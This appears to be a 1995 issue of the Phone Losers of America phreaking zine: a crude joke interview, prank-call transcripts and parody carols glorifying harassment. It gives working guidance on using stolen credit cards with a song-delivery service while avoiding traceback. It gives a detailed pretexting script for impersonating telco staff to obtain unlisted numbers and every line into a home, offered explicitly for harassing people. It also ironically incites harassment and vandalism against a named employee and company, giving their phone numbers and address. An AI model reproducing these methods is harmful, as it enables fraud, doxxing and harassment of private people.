DD: I only had a 2400 baud modem, and I spent all my time downloading WaReZ. I was CoSysOp because I was the only person who called except for a friend of mine, who's handle was Lord Chester.  Anyway, I had downloaded all the warez that were on his BBS at the time, and decided to just call and see what the board was really like.  I discoverd WWiVNet.  It was amazing.  So many neat and interesting people were on there.  I was in total awe of one sub in particular: THE ANSI BIN.  I was mystified by the neat blocks on the screen.  I decided then and there to get a VGA monitor.  I only had a monochrome then.  The next day I had my friend Lord Chester walk up to the guy in Radio Shack and ask him to show him the new CD players.

SB: Yes, this is all very interesting.  Go on...

DD: And while he was, I grabbed a VGA monitor and card, and ran out of the store.  I had my Bart Halloween mask on, so nobody would know it was me.

SB: And what did you do then?

DD: I took it home and set it up. I unzipped my registered copy of THEDRAW, which I had never used, but I had gotten because it was a ware.  I then started to draw.  I got so much into it, that I stayed up four days straight drawing ANSi.  My first picture was of my dog, Peaty.  It was cool.  I showed it to Chester, and he got so excited he got an erection. He was so happy, because he had never gotten an erection before.  Neither had I, but that's another story.

SB: Uhh... yes... good.

DD: Anyway, I spread it on the other local boards, and the SysOps of the local boards liked it.  I started doing ads for Remote Access boards. In a couple months I was up to WIldcat and Spitfire Logon Screens.  I had been saving up my lunch money for a while, and when I got enough, I went and bought a 14.4 modem.  I was so excited!  I got home, and was shaking so hard, I had to get my mom to install it.

SB: Yes, and then?

DD: Well...  A couple months later I joined a local ANSi group called [MaTH].

SB: What does [MaTH] stand for?

DD: I don't know.  I never asked.  I just thought it was cool.  ANyway, I drew for them for a while, and then moved on to another group, [KKAP]  which stands for K-Kool Ansi People.  After that I moved from group to group until I finally joined ACiD.  It was so amazing.  I got to meet really awesome people that had no lives just like me.  My friend Lord Chester now draws for iCE.  He started a couple weeks after I did, because he wanted to do some menus for his new GT Power board.  His current handle is Dark Wolf.

SB: You mean the artist of that Excellent Suicidal Shrimp ANSi?

DD: I think so.  I don't know.  All I remember is his ANSi of two guys doing the "horizontal polka."  That one is my favorite ANSi ever made.

SB: Uhhhh...  OK...

DD: Anyway... I now draw for NATiON.  It's really keen.  I love it there. I like talking to my fellow members like Maestro, Sociopath, and Mr. Sinister.  They are all always on the Boards like me, so they're cool.

SB: Shure.  I have another question.

DD: Hold up, I think my mom is coming...  ALLRIGHT MOM!!!!  I PROMISE NOT TO WEAR YOUR CLOTHES ANYMORE!!!!  I CAN'T COME NOW!!!  I'M TALKING TO MY FRIEND!!!  NO, HE'S NOT GAY!!!  THAT'S MY OTHER FRIENDS!!!  Anyway, fire away.

SB: Uhhh...  Ok, when do you draw ANSi's?

DD: I usually stay on my computer all day.  I quit school to draw ANSI, so I have alot of time to draw.

SB: Do you do speed or anything to stay awake?

DD: Speed?  What's that?  Is that that new movie?  I read about it in the FedNet music sub.  No, I usually stick a stick up my ass, which keeps me awake, and makes me feel real happy at the same time.

SB: Do you ever regret being an ANSi dude.

DD: NEVER!

SB: You swear?

DD: Uhhh...  Sometimes I think about running away, getting married to Chester, and moving to San Francisco, so I don't have to worry about ANSi anymore, but when I start to draw, it just all goes away, and I become one with the screen.

SB: What do your parents think of this?

DD: They hate it, but then, I hate my parents.  My mom hates it when I put on her clothes, and my dad has hated me since he caught me screwing Peaty in my closet one day.  But that all is gone when I draw ANSi, and all I have to worry about is if my ANSi makes the next pack in time, or if I'll get accepted to the new ANSi boards, or how long my k0dez will last.

SB: Well...

Phone Losers of America Headline News

Halting Harassment - taken from the Belleville News-Democrat, Sept. 7, 1995

The information superhighway has plenty of bumps on it, as seven metro-east families know all too well.  They've been targeted for phone harrassment by a computer hackers group. Since their names and phone numbers were added to a "hit list" on computer bulletin boards, they've received pizzas they didn't order, bills for phone calls they didn't make and harrassing and obscene phone calls. It's the technological equivalent of someone writing a name and number on a restroom wall, only with a much larger audience. The harassment has come from as far away as Sweden.

A lot of people no doubt see this as another reason why computer networks ought to be regulated by the federal government. But we don't need bureaucrats policing cyberspace. Enforcement would be difficult if not impossible, and there's the issue of freedom of speech.

That doesn't mean that people should have to put up with harassment. It says right in the front of the phone book that it's a criminal offense for anyone to make obscene or harassing phone calls. And obviously it's illegal to charge food and phone calls and other items in someone else's name. Why aren't the police and the phone companies doing more to catch the culprits?

The phone companies' biggest piece of advice is for people to not give out their phone number to strangers. That suggestion is weak. One of the families paid $50 to switch to an unpublished number, and the hackers had it within a week.

How did the hackers get the number? Most of them are in their teens and early 20s. Has a group of kids outsmarted the phone company and all the technology at its disposal? The phone companies need to beat the hackers at their own game and track them down. Then the police need to arrest them and the justice system needs to prosecute them under existing laws.

[Ironically, that was the only article on the editorial page that didn't have a name signed to it. Above the article was a cartoon of a kid sitting at his computer (with a BORN TO HACK bumper sticker stuck to the side of the monitor) and a dad & mom was in the background. The dad was saying, "YOU tell him he's grounded. The last time I tried he enlisted me in the Marines!"

Contact The Phone Losers Of America Nearest You!

512-703-8910 - PLA Voicemail System (RBCP)

314-995-1261 - PLA Voicemail System (Zak)

618-797-2339 - Roy's Place BBS

503-928-4912 - Whombat Communications

http://www.basenet.net/~apok0lyp/welcome.html - PLA web site

FTP.FC.NET - pub/deadkat/phreaking/PLA

ETEXT.ARCHIVE.UMICH.EDU - pub/Zines/PhoneLosers

whombat@blitzinfo.com - RedBoxChiliPepper)

cactus@i1.net - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - To contact Colleen Card

apok0lp@i1.net - To contact Apok0lyps

Issue #037

December 20, 1995

"We wish you a Merry Christmas!

We wish you a Merry Christmas!

We wish you a Marry Christmas!

And a harrassment-free new year!"

TABLE OF CONTENTS

PLA Christmas Carols - Colleen Card

Send-A-Song Services - RBCP

Getting The Most From FACS - RBCP

What's The Deal With The 512 VMB?

Ramblings by Apok0lyps

PLA Headline News

T'was the night before Christmas and all around the house, not a creature was stiring except for Redboxchilipepper who was rummaging through this innocent family's network interface box, clipping their lines and running a long extension cord down the block into his own house so he could call a bunch of 900 numbers. (Well, okay, so it doesn't rhyme, sue me.)

This entire issue is in ASCII. Aaaaarrrgh! YOU can change that, though. E-mail me at whombat@blitzinfo.com and tell me if you prefer issues in ASCII or ANSI.  Registered voters only, please. This entire issue is for entertainment purposes only. We're not responsible for your stupidity. We're also not responsible if you don't find this issue entertaining. (Hey, we're not responsible for OUR stupidity, either...) Oh, and Merry Christmas!

Would you like to be able to get the 0day PLA? Now you can! I've started a PLA mailing list. If you'd like to be added to the list or know of somebody else who wouldn't mind being on the list (such as president@whitehouse.gov), e-mail me at whombat@blitzinfo.com and tell me in 1500 words or less, why I should add you to the mailing list. ("SUBSCRIBE PLA" is acceptable) You'll be the first to get every new issue, along with updates and the quarterly Phone Book. If you've ever e-mailed me before, chances are that I already added you to the list. Also I'm working on making a new PLA web page so if you want to check that out, try http://www.blitzinfo.com/users/whombat/pla.html.

To help spread the holiday cheer I included an article that'll aid you in defrauding Send-A-Song so you can send some holiday cheer to your loved ones by phone. And to your hated ones, you can send LOTS of holiday cheer, again and again, day in and day out for hours straight, song after song, note after note until their ears bleed from hearing WAY too much Garth Brooks. So, enjoy this issue of PLA and be sure to e-mail some holiday greetings to all the PLA members, listed at the bottom of this issue. But first, read this transcript of a phone call with the billing operator we had the other day:

WEST: US West Repair, how can I help you?

RBCP: Hi, I'm having a little bit of trouble on my line here.

WEST: Could I get your area code and phone number?

RBCP: Yeah, it's 503-xxx-xxxx

WEST: And what seems to be the problem?

RBCP: Well, early this morning I went out in my yard and you know the network interface box that's way up by the roof? Well there was some kid up there with a big orange phone plugged in so I picked up a brick and hit him with it and he fell down and ran off but the orange phone is still hanging out of my box

WEST: Was this a U.S.West employee up there?

RBCP: No, it was just some kid. I think he was one of those phone phreaks but it's really messing up the reception on my phone and I tried hooking up a wire coat hanger and some alluminum foil into the phone but it's still pretty fuzzy sounding.

WEST: Okay, I can send somebody out there today to take care of it. You say there's a phone hanging out of the box?

RBCP: Yeah, I would take it down myself but it's way up there by the roof and I don't have a ladder. There also seems to be new wires running from the telephone poll and into the box. I could yank those down but I don't want to get electrocuted or anything.

WEST: Oh, there's not enough power in those to electrocute you.

RBCP: Yeah but there's also some Christmas lights running from the telephone poll into the box and they're lit up and also the cable T.V. wire is going in there and I just don't wanna touch anything.

ZAK: And then he hooked up a remote control to the phone and he's been driving it all over the house!

RBCP: And he painted my network interface box red, too.

WEST: Am I speaking to William right now?

RBCP: Yes, this is WIlliam.

WEST: Could I get your street address, William?

RBCP: I can't really give that out because it's unlisted.

WEST: Well, I have it right here in front of me, I just need to verify that it's correct.

RBCP: I read this newspaper article about fraudsters who will call you up and try to get your pin number and everything.

WEST: Well, I work for U.S. West, I just need your address and you called ME.

RBCP: The problem is that the four numbers in my address are the same as my pin number and the article said that they'll try to trick you and say they work for the phone company.

WEST: But you called me.

RBCP: You might have somehow reverse-engineered me to call you. Maybe you're responsible for that kid up in my box.

WEST: Sir, is your address 1584 Columbus, apartment C??

RBCP: Yes, that's the one.

WEST: Okay. (typing) You say that there's Christmas lights hooked up in between your phone box and the telephone poll?

RBCP: That's right.

ZAK: And they replaced the phone handset with a bologny sandwhich.

WEST: I'll try to have someone out there before five today.

New Generation Christmas Carols - by Colleen Card

Find all your old christmas carols, put them in a box and burn them. They're old, outdated and boring. Here are all the new songs that you'll hear the little brats singing in church this year.

"Charlie The Lineman" - by Colleen Card

sung to the tune of "Frosty the Snowman"

Charlie the lineman had a very handsome hat.

When he wore it out, all the kids would shout,

"Someday I will steal that!"

Charlie the lineman liked to drink beer with the boys.

He'd listen to a country tune,

while he'd play with telco toys.

There must have been some magic in that big green joint they found,

'Cause right away he began to play and 'ol Charlie danced around.

Charlie the lineman was as sad as he could be,

For he'd lost his job when Bell found out that he'd been smokin' weed.

Charlie the lineman yelled out, "I'll be back someday...

I know some tricks and I'll give them out!" Oh, this lineman's gone astray.

"On Little AT&T Fone Center" - by Colleen Card

sung to the tune of "O Little Town of Bethlehem"

Oh little AT&T Fone Center, how many toys you sell,

They help us to defraud from you even though you wish us well.

We love you PBXes, your calling cards are grand,

And in your undying love for us, you still hold out your hand.

Oh little AT&T Fone Center, your operators are the best,

They're nice to me when I make calls, pranking all the rest.

We make their jobs exciting and some days it is hell,

And even though THEY don't accept, you still wish us well.

"PLA is Coming To Town" by Colleen Card

sung to the tune of "Santa Claus is Coming To Town"

You'd better watch out, you better be nice,

Better kiss ass I'm telling you why,

PLA is coming to town.

We're making a list, checking it twice,

Gonna find out who's paying the price,

PLA is coming to town.

We'll call you when you're sleeping,

We'll call you when you're awake,

We'll call your mom and dad for you,

So leave town, for goodness sake!

You'd better watch out, you better be nice,

Better kiss ass, I'm telling you why,

PLA is coming to town.

"We Three Phreaks From PLA Are" - by Colleen Card

sung to the tune of "We Three Kings of Orient Are"

We three phreaks from PLA are,

Pranking people from near and from far,

Finding their numbers, finding their names,

Fone company tells us all.

Chorus:

O--- Telco friendly, telco free,

Telco come and dance with me,

Dreams I see them, can't redeem them,

but I've got an operator's key.

We are born to freedom and strife,

Anger crashing all of our lives,

Pick up a fone, leave me alone,

I think I'll just call your wife.

(repeat chorus)

Kardz and k0dez to offer have I,

Go to Radio Shack, red boxes I buy,

Cactus, cactus, cactus, cactus,

We promise to make you cry.

(repeat chorus)

"Have yourself an Evil Little Holiday" - by Colleen Card

sung to the tune of "Have yourself a Merry Little Christmas"

Have yourself an evil little holiday,

Break into a fone,

Make free calls all over,

Including Rome!

Have yourself an evil little holiday,

Make an operator scream,

From now on it's funny just to be mean.

Here we are in olden days,

Happy golden days of bore,

Greedy relative who want a calling card,

Pinch my cheek too hard once more.

Available telcos, everyone's inside now, ripping open gifts,

Oh what a great security r-i-f-t!

Have yourself an evil little holiday now!

O Telephone Pole" - by Colleen Card

sung to the tune of "O Christmas Tree"

O telephone pole, o telephone pole,

You rise so high and mightily,

O telephone pole, o telephone pole,

You rise so high and mightily.

Your pegs are strong in summer's heat,

And frosty in the winter sleet.

O telephone pole, O telephone pole,

You are brown and mighty.

"Anarchy" - by Colleen Card and RedBoxChiliPepper

sung to the tune of "Jingle Bells"

Running through your yards, popping open cans,

Sometimes clipping wires, then we eat some spam.

Stealing people's mail, toilet papering trees,

Running from the cops and feds that chase us in the breeze.

Oh, anarchy, anarchy, set their yard on fire.

Hit their window with a stick and loosen up their tires.

Fuck the Bells, Fuck the Bells, burn their building down,

Dive into their dumpsters when rent-a-cops aren't around.

"The Twelve Days of Christmas Revised" - by RedBoxChiliPepper

On the Twelfth day of Christmas, my true love sent to me...

Twelve Virgin Visas,

Eleven black tone dialers,

Ten stolen P.C.s,

Nine lineman's handsets,

Eight Motorolas,

Seven operators,

Six red box crystals,

Fiiiiiiive E.S.N's.

Four cans of Jolt

Three fake I.D.s,

Two airline tickets,

And a janitor job at AT&T!

Send-A-Song Services - by RBCP

One ad that I've been noticing popping up in every mall in the country the last few years is the Send-A-Song service. It's an 800 number you can dial and using your Visa or Mastercard, you can send the song of your choice to any phone number in the United States. The fax I received from them states, "In minutes, you can choose the perfect song, add your personally recorded greeting and specify a date and time for delivery. The Send-A-Song can be ordered for immediate delivery or up to six months in advance.  Delivery is guaranteed."

Using your V/MC, the price for this service is $9.95 for one song or $24.95 for three songs. Sort of pricey, but for cardholders like us, money is no object. This service is perfect to make your fellow phreaks smile or to make security officials cry when you send them "Happy Birthday" by the New Kids on the Block, 300 times a day.

The only drawback is the lame selection of songs they offer. You can send someone a traditional song by various artists and they just started getting REALLY hip and adding in alot of country songs. (gag) The best you can hope for is an old top-40 song that isn't too nausiating. And if you're just sending a song to annoy someone, they've got great selections. One song that I've been asking them to get for me is, "I'll be watching you" by the Police. That would be great for certain occasions...

When you call their 800 number to make your selection, you have to dial the 800 number direct, or at least make them think you dialed direct. (Don't call from your house direct, of course.) In the past, I've usually used remote access call forwarding, but your best bet would be to walk a couple blocks to the nearest pay phone. You can't just op divert. If their system doesn't get an ANI, you'll be switched over to customer service, who won't be able to help you at all.  Send-A-Songs phone numbers are as follows:

800-272-SONG (7664) Order center, fully automated, Visa/Mastercard

800-999-7635 Customer Service

800-915-3443 SAS Retrival Center (In case you weren't there to get your song.)

Here's a list of songs you have to choose from when calling 800-272-SONG:

Happy Birthday

1101 Happy Birthday - Bing Crosby

1102 Happy Birthday - Eddie Howard

1106 You Say It's Your Birthday -Beattles

1103 Happy Birthday - Instrumental

1105 Happy Birthday - New Kids on / Block

1103 Happy Birthday - Sunsetters

1107 I Wish I Were 18 Again -George Burns

1108 Young At Heart - Frank Sinatra

1109 Happy Birthday - Stevie Wonder

1112 Much Too Young - Garth Brooks

1114 Happy Birthday Baby - Ronnie Milsap

Friendship

3001 Thank You For Being A Friend - Gold

3003 You've Got A Friend -Carole King

3002 That's What Friends Are For -Warwick

3004 You've Got A Friend - J Taylor

3007 Friendship, Friendship - Ray Charles

3008 Lean On Me - Bill Withers

3011 Diamonds/Best Friend - Marlyn Monroe

3010 You're The Top - E. Fitzgerald

3014 Friends in Low Places - Garth Brooks

3012 Stand By Me - Ben E. King

2119 Anytime You Need A Friend - Mariah C

3015 I Get By With Help - Beatles

3016 From Our House To Yours - Lorrie Mor

3017 Who Can I Turn To - Tony Bennett

3018 Forever Friends - Sandi Patti

3019 Friends - Bette Midler

Love

2001 I just called to say I love you - SW

2002 You are the sunshine of my life

2003 Nobody does it better - Carly Simon

2004 I had to say I love you - Jim

2013 Listen, do you want to know a secret

2006 Crazy For You - Madonna

2015 Love Me Do - Beatles

2017 You Are So Beautiful - Joe Cker

2021 All Shook Up - Elvis Presley

2022 Teddy Bear - Elvis Presley

2024 One In A Million - Larry Grahm

2027 All of Me - Frank Sinatra

2025 The Most Beautiful Girl In The World

2029 Your Song - Elton John

2031 Through The Years - Kenny Rogers

2032 You Decorated My Life -K Rogers

2035 Theme from Mahogamy - Diana Ross

2033 Endless Love - Diana Ross

2039 Woman in Love - Barbara Streisand

2040 Memories - Barbara Streisand

2041 Annie's (??) Song - John Denver

2042 Unforgettable - Nat King Cole

2045 Unchained Melody - Righteous Brothrs

2049 It had to be you - Harry Conick

2050 When A Man Loves a Woman - Michael B

2055 12th of Never - Johnny Mathis

2056 Always on my mind - Willie Nelson

2058 Live for Lovin' You - Gloria Es

2060 Love of a Lifetime - Firehouse

2061 Wind Beneath my Wings - Bette M

2062 You Light up my Life - Debbie Boone

2063 I Don't Know Much (But I Know I

2064 Unforgettable - Natalie Cole

2068 Forever Your Girl - Paula Abdul

2070 Everything I do for you - Bryan Adms

2071 Here and Now - Luther Vandross

2074 Natural Woman - Aretha Franklin

2077 You are my lover,my best friend

2076 I want to know if I can be your girl

2078 Have I told you lately i love u

2081 Just The Way You Are - Billy Joel

2082 Wild Thing - The Trogs

2085 The Way you do the things you do

2087 Baby I need your lovin' - 4tops

2086 I wanna be loved by you - Marlyn Mnr

2088 Can't get enough of your love

2091 I Honestly Love You - Olivia Newt Jn

2093 Dedicated to the One I Love

2097 My girl - The Temptations

2098 Love of my Life - Carly Simon

2099 I will always love you - Whitney Hou

2101 Just A Little Love- Reba McEntr

2102 Have I Got A Deal For You - Reba McN

2103 Two of a kind - Garth Brooks

2104 All of me loves all of you -George S

2105 I still believe in you -Vince G

2106 I swear - John Michael Montgomery

2107 Love can build a bridge - Judds

2108 Shameless - Garth Brooks

2110 Stand By Your Man - Tammy Wynet

2111 Help Me Make It  - Sammi Smith

2112 I Get A kick Out of you - Frank

2113  Wonderful Tonight - Eric Clapton

2114 Whatta Man - Salt N Pepa

2116 On Bended Knee - Boyz II Men

2117 After The Lovin' - Engelbert Hu

2118 I'd really love to see you tonight

2416 Be my baby tonite - John Montgm

2417 I'll make love to you - Boyz II Men

Anniversary/Wedding

2501 The Anniversary Waltz -Richard Tuckr

2502 Always & Forever - Heatwave

2503 More Today Than Yesterday - Spiral S

2504 You're my best friend - Don Wil

2506 Could I Have This Dance - Anne Muray

2509 You're the best thing that ever

2510 You Again - Forestar Sisters

2511 Chapel of Love - Dixie Cups

2512 Our love is here to stay - Harry Con

2514 Happy Anniversary - Little Rivr

Love/Sexy

2401 Nobody does it better - C Simon

2402 Why Don't we get Drunk -J Buffet

2404 I'd love to lay you down-Conway Twit

2409 Sexual Healing - Marvin Gaye

2410 Afternoon Delight - Starland Vocals

2411 I feel like makin' love - Bad Co

2412 Let's spnd the nite 2gether-R Stones

2413 Make it with you - Bread

2414 Let get it on - Marvin Gaye

Humorous

5001 It's hard to be humble - Davis

5002 Love Stinks - J. Geils Band

5003 Macho Man - Village People

5004 My Ding-A-Ling - Chuck Berry

5007 Hound Dog - Elvis Presley

5008 I Like Beer - Tom T. Hall

5009 Take this job and Shove it -johnny p

5010 Let go get stoned - Ray Charles

5012 Men - Forrester Sisters

5013 What part of no...-Lorrie Morgan

5014 Let's chase each other around the rm

5015 Another one bites the dust-Queen

5016 Whoomp, there it is! - Tag Team

Missing You

7001 Far Away - Carole King

7002 Missing You - Jim Reeves

7003 I miss you - Harold Melvin

7004 Wishing you were here - Chicago

7006 Missing you now - Michael Bolton

7007 What'll I do? - Linda Ronstadt

7009 Hangin' In - Tanya Tucker

7010 My World is empty without you

7011 Just to hold you again - Mariah Cary

7012 Nights are forever without you

7013 Can'nt stay away from you - Gloria E

Congratulations

7101 What A Wonderful World

7102 Happy Birthday (new baby) - Suns

7103 Calebrate good times-Kool & The Gang

7104 Climb every mountain

7105 Let the good times roll -Ray Charles

7106 Everything's coming up roses

8011 Impossible Dreams - Jim Nabors

7107 Walking Away a Winner - Kathy Mt

7110 Eye of the Tiger - Survivor

Apology

7501 I'm sorry - The Platters

7502 I'm Sorry - Brenda Lee

7503 We bury the hatchet - Garth Brooks

7504 You're right, I'm wrong - George

7505 Call Me Irresponsible - Tony Bennett

7506 Hard for me to say sorry-Chicago

7508 Sorry seems to be the hardest word

7509 Can't Live - Mariah Carey

7510 From Now On - Michael Bolton

7511 Please Forgive Me - Bryan Adams

7512 Words Get In The Way - Gloria Estefn

Cheer Up/Get Well

7701 Don't worry, be happy - Bobby Mcfern

7702 Don't you worry 'bout a thing-SW

7704 Here comes the sun - Beatles

7705 Gray skies are gonna clear up

7706 The sun will come out tomorrow-Annie

7708 I feel lucky - Mary C Carpenter

7709 Unanswered prayers - Garth Brooks

7710 Put yourself in my shoes-Clint B

7715 Get on your feet - Gloria Estefan

Family Songs

7801 We are family - Sister Sledge

7802 Having my baby - Paul Anka

7803 I want a girl just like that girl

7805 Daddy's little girl -Mills Bros.

7806 Mammy - Al Jolson

7807 Mama - Jerry Vale

7809 I'll always love my mama - Intruders

7812 Oh my papa - Eddie Fisher

7817 Mama sang a song - Bill Anderson

7818 Home - Alan Jackson

7819 Daddy's Hands - Holly Dunn

7820 Working class hero - Alan Jacksn

7821 Leader of the band - Dan Fogelberg

7822 I thought he walked on water

Thank You

3102 I thank you - ZZ Top

3104 Thank you - Ray Boltz

3103 You made me so very happy - Blood,ST

3105 I owe you one - Aaron Neville

Miscellaneous

8022 Happy Trails - Roy Rogers

8023 On The Road Again - Willie Nelsn

8024 The Dance - Garth Brooks

So fire up your favorite C-Master program and start sending songs to your loved ones (and not so loved ones). It's easy, it's fun and it's FREE! "Send-A-Song plays approximately an 80-second segment of the song you request, usually the most familiar verse and chorus. You may sample 3 songs for 15 seconds each when placing your order. The Send-A-Song automated delivery service will call the number you specified at the time you requested. If an answering machine picks up or someone else answers and your person isn't there, we'll leave a message which will allow the recipient to call back and receive their S-A-S. If there is a busy signal or no answer, we'll keep trying..."

What Is The FACS Office And What Can It Do For You?

Are you tired of people changing their phone numbers, making them unlisted and password protecting their phone accounts so that you can't bug the hell out of them for weeks on end anymore? Well, that will no longer be a problem for you, once you've obtained the FACS number in your area.

The FACS acronym means Facilities Administration and Control System, but most Bell employes refer to it as either "Assignment" or "FACS", pronounced "fax." This office can take any address or phone number in the area that it covers and give you every single number that goes into the entire building/house. This can be extremely useful for a variety of things, including...

* Getting the unlisted number of someone who's just changed their number.

* Finding out what the additional lines are going into someone's house.

* Finding out what the data line is to a certain company or individual, such as your schhool or place of employment.

* Finding out every number of a business, including every one of their ring-down numbers, data lines, pay phones on the premises, credit card lines,  ATM machine lines, lottery machine lines, etc, etc, etc.

* Want to know more about someone? Get all of the neighbors' phone numbers in his/her apartment complex, call them all and ask questions...

* Tired of that asshole sysop? This will give you all his voice numbers.

The list could go on forever. Your local FACS number is a valuable thing to have, no matter what you're using it for. And it's really easy to get ahold of and use. Even easier than the CN/A and they don't require a password! (None I've encountered, anyway.)

How To Get A FACS Number:

Getting the FACS number is easy, yet tedious and you'll usually end up being put on hold for a few years before you finally get it. All it requires is a single phone call to the billing office. The residential billing office will work just fine but it'd be best to go with the business billing office because they answer the phone a lot quicker and are trained to be more courteous. Residential offices treat you like shit. So, grab your phone book,  turn to the front few pages and look up the number for the Billing Office for Business Accounts. Call it. (It really doesn't matter if you divert this call or you dial direct.) Type a few random selections on their automated menu until you get a real operator. The conversation would go something like this...

OPR: Southwestern Bell, how may I help you?

YOU: FACS? I need you to check on an address for me.

OPR: I'm sorry? You've reached the billing department.

YOU: What? This isn't Assignment?

OPR: Nooooo, this is the RMC.

YOU: Hmm, in my handbook it has you listed as the FACS. Do you happen to have the FACS number there in your handbook?

(At this point, some of the more clueless employees will ask you exactly what FACS is. Just explain that it's the number you use to find out what lines are going into a certain address, if they ask.)

OPR: Let me check here for you...Are you with Southwestern Bell?

YOU: Yes, this is Greg Carson. I'm a lineman. Phear me.

OPR: ...Okay, the number I have here is 1-800-673-7286.

YOU: Isn't there a regular number in there that's not toll free?

OPR: Hmmmm...yes, there is. It's 210-xxx-xxxx.

YOU: Okay, great! Thanks alot, you putz, you just gave me the information I need to cause alot of misery here in town! Bye! <click>

And that's about all you have to do. If you're unlucky with one operator, try right back with another operator. Usually the only problem I encounter is an operator that doesn't know what FACS is or doesn't know where to find the number for it, even if I explain to them it's in their handbook. A few of the operators have actually called up the FACS office themselves and run the addresses for me, THEN they gave me the number to FACS. U.S.West, you gotta love 'em.

You're best off with a number that's NOT toll-free. Mostly because the FACS toll-free numbers that I've dealt with only let you dial from within that state, making the number useless after I moved. Besides, dialing the 800 number would mean a permenant record of your number on their bill. Try to get the billing office to connect you to the FACS the first time, then ask the FACS office what their direct line is, to make it easier for you to call.

- Dealing With FACS Once You Have The Number -

Okay, good job, you got the FACS number. The rest is easy. It seems that every FACS's main security proceedure is to ask, "Do you work for us?" If you confirm that you do work for them, you've passed the test and they'll tell you anything you want to know. So far, in my experiences, this holds true for Southwestern Bell, GTE, U.S.West and Ameritech. (GTE being the friendliest and most helpful.)

The area that one FACS office covers varies with all the different phone companies. When I dealt with Southwestern Bell, it only covered my city and nowhere else but with Ameritech, the office covered an entire third of Illinois.

The GTE number I had covered the entire state. (But just the areas serviced by GTE, of course.) If you reach a FACS office that doesn't cover the region you're looking for, they'll almost always happily give you the number you need to access the area you need and will sometimes connect you to it.

When you finally call FACS, you'll be pretending to work for the same company. I usually claim to be a lineman because I can think of more excuses to their questions. Sometimes I try being a billing office operator. Whichever you're more comfortable with. The conversation will go somewhat as follows...

(FACS offices are notorious for making you hold forever. Better bring some coloring books to play with while you wait. I've had to wait for over a half hour before...)

FAC: Can I help you?

YOU: This is Paul from Ameritech, I just need for you to run an address for me.

FAC: Okay, which office are you with, Paul?

YOU: I'm not in an office, I'm working in the field in Bloomington, Indiana.

FAC: What is it, exactly that you need?

YOU: Well, I'm in a telco can here and I'm trying to sort out all the lines for a building down the street. I just need you to read off all the cable,  pairs and numbers going into this address here.

FAC: Okay, and what's the address?

YOU: It's 1313 Mockingbird Lane SE

(Note: You HAVE to know the exact address, including whether it's a Lane, Street, Avenue, Etc. and if it's got a SE (SouthEast), NE, NW, SW in front of it or after it. If one little measley thing is out of place, it won't come up on their computer.)

FAC: (type, type, type!) Okay, I have three lines going into that address with room to add one more line. I have 656-0284 on cable 10 and pair 758, then 656-2913 on cable 10 and pair 720, and 656-0831 on cable 10 and pair 402.

YOU: Great! Any other lines going into that address?

FAC: Nope, that's it.

YOU: Okay, then. Thanks alot and have a good day!

It's probably not a good idea to ever insult the FACS lady and/or harrass her after you've gotten the information you need. This will just piss her off and make her know she's been had, thus tightening security for everyone else who calls after that, including yourself.

If you're wanting to check on multiple apartments in a single building, you'll have to ask them to type in each individual address, such as 1313 Mockingbird Lane SE Apartment 12, 1313 Mockingbird Lane SE Apartment 13 and so on. Some of them have actually been nice enough to fax me the list of numbers if it's a really large list. (You can have them fax it to a copy shop for you, or a number diverted to your house.)

If you don't have their correct address or don't have an address at all, you can still ask them to check a number for you. When they ask for the address,  give them an address which you know doesn't exist. Frustrated, they'll finally ask you for the phone number and they'll run it off of that. Usually, you'll also get the address this way, but not always. Sometimes they'll want you to read off the work order number. Just tell them that you left that in your truck and your truck is two blocks away and you're too lazy to go get it.

What The Hell Is Going On With PLA's 512 Voicemail Box??

Well, in a nutshell, it's going down. If you're one of the people who used to call 512-703-8910, enjoy it while you can. I bought the voicemail expecting to use it for YEARS, paying for it legitimately with hard earned cash even. (Well, probably stolen cash, but it's legitimate on their end, isn't it?)

First of all, they moved locations which changed my VMB number. (If you don't remember, the details on that one are outlined in a previous PLA issue.) Last week I called them to arrange my six month in advance payment like I always do and they informed me of a slight change in rates.

Usually it would only cost me a flat rate of $7.50 a month, nothing else. NOW they want to charge $7.50 a month which will allow the box to be accessed only thirty times in a month. That means I'm only allowed to have one single call on it per day, including myself calling in to check messages. That's okay, though, because for each additional call over 30 a month, they charge an access rate of 42 cents. Only 42 cents, that's not so bad, is it?

Well, I asked them how many times my box had been accessed last month and they checked and told me only 283 times. I quickly grabbed my pocket calculator out of the holster on my belt. Dead batteries, so I found a pen in my pocket protector and did some quick math and figured that I'd be paying $118.86 per month for my additional calls, plus the $7.50 per month just to own the box. And the guy on the phone didn't seem to think that was just a little outrageous.  He promised me that someone would call back, but nobody ever did.

So, I've stopped paying and I've also made a lot of collect and third-party billed calls to my VMB number. As of this writing it's still up and working but it should be going down really soon. I just hope that some horrible holligan at random doesn't call up the voicemail company and offer to pay for my box a year in advance with their credit card. Now that would REALLY piss me off! (ahem)

I strongly urge anyone who reads this, never to call and harrass the employees at 512-458-6005 or 512-472-3535, especially Ann. She's a really nice lady and doesn't deserve to be phoned at work and rude, horrible things said to her. And if you're ever in Austin for a HoHoCon Convention or any other reason and you just happen to be walking around downtown and pass by 1011 San Jacinto, please don't throw any bricks through that beautiful picture windows of theirs. And whatever you do, don't ever go inside to the room with a big "300" on the door and super-glue their locks shut or steal all of their mail. That would REALLY upset me. Especially if you happened to be carrying a one gallon bucket of hot pink latex paint and you spilled it all over the hallway there and some of it splashed on their door. Gee, I hope HoHoCon IS in Austin next year...

Ramblings by Apok0lyps: 618 ReVieW

Awww yeah! R0y in da house! Ok kids, here's what's been going on in the good old 618 latley. (LIke any of you really care)

First off, there was the short lived Booty Call BBS. Zak, Nekid Amy [the girl from PLAGIF07], Zensless1, Quinbus Flestrin, dhate and myself set it up one night out of sheer boredom. We wanted to see who all would call and act like an idiot. We used the names Papa Ray, Fly Honey, M.C. K0sh3r, D.J. Skratch -n- Sniff, Jermaine and Big Mack as the sysops. About 40 people fell for it. I deleted the bbs later and forgot to save all the mail and shit, but none of it was worth reprinting. Basicly we set it up to look like a bbs ran by gansta rappas, but that failed. Everyone just logged on and played Studs and shit. No one posted or anything. A few people left us feedback trying to act like nazis and shit. Those people were Ramsey and Skinhead. What idiots!

